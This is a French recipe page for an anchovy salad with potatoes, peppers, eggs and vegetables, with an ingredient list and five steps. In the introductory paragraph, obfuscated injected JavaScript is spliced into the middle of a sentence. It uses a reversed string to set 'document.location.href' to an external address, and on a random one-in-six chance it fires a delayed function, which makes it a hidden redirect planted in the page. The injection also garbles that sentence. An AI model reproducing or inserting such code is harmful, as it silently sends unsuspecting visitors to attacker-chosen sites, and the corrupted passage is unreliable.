Salade d’anchois avec ses légumes

2018-02-11

Faites cuire les pommes de terre dans une casserole d’eau bouillant salée, sans les peler pendant 30 minutes selon la grosseur de la pomme de terre. Les rafraîchir et les couper en petits dés. Rincez, pelez, épépinez et Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés.

Ingrédients

  • Pour 4 personnes
  • 1 laitue
  • 2 poivrons rouges
  • 2 pommes de terre
  • 50 g d'olives dénoyautées
  • 100 g de filet d'anchois
  • 4 œufs durs
  • 2 tomates
  • 1 concombre
  • 1 bouquet de ciboulette haché
  • 1 cuillère à café de moutarde
  • 1 cuillère à soupe de vinaigre
  • 1 cuillère à soupe d'huile d'arachide
  • Sel Poivre

Préparation de la recette

Etape 1

Faites cuire les pommes de terre dans une casserole d'eau bouillant salée, sans les peler pendant 30 minutes selon la grosseur de la pomme de terre. Les rafraîchir et les couper en petits dés.

Etape 2

Rincez, pelez, épépinez et Coupez-les tomates en petits dés.

Etape 3

Rincez, essorez la laitue. Rincez, épépinez, ôtez la peau blanche des poivrons, les couper en fines lamelles. Coupez les œufs en rondelles.

Etape 4

Pelez et coupez en rondelles le concombre. Dans un saladier faites la sauce en mélangeant le sel, poivre, la moutarde, le vinaigre, l'huile, la ciboulette.

Etape 5

Incorporez la laitue, les poivrons, les tomates, les anchois, le concombre, les pommes de terre, mélangez et servez.

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